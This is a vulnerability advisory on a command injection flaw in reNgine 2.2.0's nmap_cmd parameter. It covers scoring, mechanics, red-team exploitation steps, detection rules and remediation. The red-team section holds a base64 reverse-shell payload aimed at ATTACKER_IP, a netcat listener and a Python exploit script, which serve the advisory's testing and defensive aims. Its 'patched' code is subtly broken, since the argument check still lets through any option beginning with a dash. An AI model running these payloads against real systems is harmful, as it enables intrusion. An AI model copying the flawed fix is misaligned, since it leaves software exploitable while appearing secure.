CVE-2024-58287

Executive Summary

CVE-2024-58287 is a critical command injection vulnerability discovered in reNgine 2.2.0, an open-source automated reconnaissance framework for web applications. The flaw resides in the nmap_cmd parameter of the scan engine configuration. An authenticated attacker can inject arbitrary operating system commands by supplying a malicious base64-encoded payload within this parameter. Successful exploitation leads to remote code execution (RCE) on the server hosting reNgine, granting the attacker full control over the application and underlying infrastructure. The vulnerability is currently unpatched, and no official fix has been released by the vendor. Given the authenticated requirement, the attack complexity is low, and the impact on confidentiality, integrity, and availability is high.

Supply Chain & Package Security

reNgine is a Python-based application that relies on various open-source packages. The command injection occurs in the scan engine configuration logic, which processes user-supplied input for the nmap_cmd parameter. This parameter is intended to allow customization of Nmap scan commands but lacks proper sanitization. The vulnerability is not directly related to a specific package dependency but rather to insecure coding practices within the application's core logic. Organizations using reNgine should treat this as a high-priority supply chain risk, as the application is often deployed in security testing environments where compromise could lead to lateral movement.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required; the attacker only needs to craft a malicious payload.
• Privileges Required (PR): Low (L) – The attacker must have valid credentials to access the scan engine configuration.
• User Interaction (UI): None (N) – No user interaction is required beyond the attacker's own actions.
• Scope (S): Unchanged (U) – The exploitation does not affect other components beyond the vulnerable application.
• Confidentiality (C): High (H) – Full system compromise allows access to all data.
• Integrity (I): High (H) – The attacker can modify system files and configurations.
• Availability (A): High (H) – The attacker can disrupt services or cause a denial of service.

CVSS Score: 8.8 (High)

Threat Level: Critical – The vulnerability is actively exploitable with low complexity and high impact. The lack of a patch increases the risk significantly.

Deep Dive & Mechanics

The vulnerability exists in the scan engine configuration endpoint of reNgine 2.2.0. The application allows authenticated users to define custom Nmap commands via the nmap_cmd parameter. This parameter is intended to accept a base64-encoded string that is decoded and executed as part of the Nmap scan process. However, the application fails to validate or sanitize the decoded content before passing it to the operating system shell.

The attack flow is as follows:

1. An authenticated attacker accesses the scan engine configuration page.
2. The attacker crafts a malicious base64-encoded payload that includes arbitrary shell commands (e.g., ; id ; or | whoami).
3. The attacker submits the payload in the nmap_cmd parameter.
4. The application decodes the base64 string and passes it directly to a shell command execution function (e.g., os.system() or subprocess.Popen() with shell=True).
5. The injected commands are executed with the privileges of the reNgine process, typically a low-privileged user but with potential for privilege escalation.

The vulnerability is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').

Vulnerable vs. Patched Code

Vulnerable Code (reNgine 2.2.0):

# In scan engine configuration handler
import base64
import os

def configure_scan_engine(request):
    nmap_cmd_b64 = request.POST.get('nmap_cmd')
    if nmap_cmd_b64:
        nmap_cmd = base64.b64decode(nmap_cmd_b64).decode('utf-8')
        # Direct execution without sanitization
        os.system(f"nmap {nmap_cmd}")

Patched Code (Hypothetical Fix):

import base64
import shlex
import subprocess

def configure_scan_engine(request):
    nmap_cmd_b64 = request.POST.get('nmap_cmd')
    if nmap_cmd_b64:
        nmap_cmd = base64.b64decode(nmap_cmd_b64).decode('utf-8')
        # Validate that the command only contains allowed Nmap arguments
        allowed_args = ['-sS', '-sT', '-sV', '-O', '-A', '-T4', '-p', '--top-ports']
        args = shlex.split(nmap_cmd)
        for arg in args:
            if arg not in allowed_args and not arg.startswith('-'):
                raise ValueError("Invalid argument")
        # Use subprocess with shell=False to prevent injection
        subprocess.run(['nmap'] + args, check=True)

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a reNgine 2.2.0 instance with valid credentials.
• Network connectivity to the target.

Exploitation Steps:

1. Log in to the reNgine web interface.
2. Navigate to the scan engine configuration page (e.g., /settings/scan-engine/).
3. Craft a malicious base64-encoded payload. For example, to execute id:

   echo -n '; id ;' | base64
   

   Output: OyBpZCA7
4. Submit the payload in the nmap_cmd parameter.
5. The command id will be executed on the server. To achieve a reverse shell, use:

   echo -n '; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1 ;' | base64
   

6. Set up a listener on the attacker machine:

   nc -lvnp 4444
   

7. Submit the payload and receive the reverse shell.

Exploit Script (Python):

import requests
import base64

target = "http://TARGET_IP:PORT"
session = requests.Session()

# Authenticate (example credentials)
login_data = {"username": "admin", "password": "password"}
session.post(f"{target}/login/", data=login_data)

# Craft payload
payload = "; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1 ;"
encoded_payload = base64.b64encode(payload.encode()).decode()

# Exploit
config_data = {"nmap_cmd": encoded_payload}
session.post(f"{target}/settings/scan-engine/", data=config_data)

Blue Team

Detection Steps:

1. Monitor web application logs for unusual base64-encoded strings in the nmap_cmd parameter.
2. Look for shell metacharacters (e.g., ;, |, &, `) in decoded payloads.
3. Alert on unexpected outbound connections from the reNgine server (e.g., to attacker IPs).
4. Use the YARA and Sigma rules provided in the Detection Engineering section.

Hunting Queries:

• Splunk: index=web_logs source="/settings/scan-engine/" nmap_cmd=* | rex field=nmap_cmd "(?<decoded>.*)" | search decoded IN (";", "|", "&")
• ELK: `GET /settings/scan-engine/ AND nmap_cmd:*

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound connections to attacker-controlled IPs on ports 4444, 8080, or 1337.
  • Base64-encoded strings in HTTP POST requests to /settings/scan-engine/ containing shell metacharacters.
• File IOCs:
  • Unexpected files in /tmp/ or /var/tmp/ (e.g., rev.sh, payload.py).
  • Modified system binaries (e.g., /bin/bash replaced with a backdoored version).
• Process IOCs:
  • Unusual processes spawned by the reNgine user (e.g., bash, nc, python).
  • Processes with arguments containing base64-encoded strings.
• Log IOCs:
  • Web server logs showing repeated attempts to access /settings/scan-engine/ with encoded payloads.
  • System logs showing command execution events (e.g., audit.log entries for execve).

Detection Engineering

YARA Rule

rule CVE_2024_58287_reNgine_Command_Injection {
    meta:
        description = "Detects base64-encoded command injection payloads targeting reNgine 2.2.0"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-58287"
    strings:
        $base64_pattern = /[A-Za-z0-9+\/]{20,}={0,2}/
        $shell_meta = /[;|&`$(){}]/
    condition:
        $base64_pattern and $shell_meta
}

Sigma Rule

title: CVE-2024-58287 reNgine Command Injection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts of CVE-2024-58287 via base64-encoded payloads in nmap_cmd parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/settings/scan-engine/'
        cs-uri-query|contains: 'nmap_cmd='
    condition: selection
fields:
    - c-ip
    - cs-uri-query
falsepositives:
    - Legitimate base64-encoded Nmap commands (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-58287 reNgine Command Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/settings/scan-engine/"; http_uri;
    content:"nmap_cmd="; http_client_body;
    pcre:"/[A-Za-z0-9+\/]{20,}={0,2}/R";
    sid:1000001;
    rev:1;
    reference:cve,2024-58287;
    classtype:attempted-admin;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the scan engine configuration feature if not required, or restrict access to trusted administrators only.
2. Apply input validation to the nmap_cmd parameter: allow only a whitelist of Nmap arguments and reject any shell metacharacters.
3. Upgrade to a patched version once available. Monitor the official reNgine repository for updates.
4. Implement network segmentation to limit the reNgine server's outbound connectivity.
5. Enable detailed logging and monitor for suspicious activity as described in the Detection Engineering section.

Long-Term Fixes:

• Use subprocess.run() with shell=False and a list of arguments instead of os.system().
• Implement a strict allowlist for Nmap arguments (e.g., -sS, -sV, -O, -A, -T4, -p).
• Sanitize user input by decoding base64 and validating the result against a regex pattern that only allows alphanumeric characters, hyphens, and spaces.
• Conduct a security audit of the entire codebase for similar injection vulnerabilities.

Valters IT